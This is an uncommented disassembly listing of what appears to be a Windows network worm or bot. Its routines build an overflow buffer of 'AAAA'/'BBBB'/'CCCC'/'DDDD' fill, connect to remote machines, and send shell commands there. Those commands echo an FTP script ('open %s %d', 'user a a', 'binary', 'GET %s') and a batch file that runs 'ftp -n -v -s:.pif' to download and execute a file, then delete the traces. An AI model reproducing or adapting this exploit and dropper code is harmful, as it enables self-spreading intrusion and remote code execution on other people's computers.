		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F34
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C0C
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458A8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458B0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C30
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458B4
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C24
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C20
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E68
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C14
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C10
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_445944
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458BC
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_445974
		mov	[ebx+31h], eax
		mov	ecx, dword_445978
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510100
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510104
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AE8
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449511
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44964F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445980
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		nop
		call	near ptr 28502B8h


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		nop
		call	near ptr 28502B8h
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		call	near ptr 71AB2BF4h
		nop
		mov	dx, word_510108
		mov	[esp+440h+var_418], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44964F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
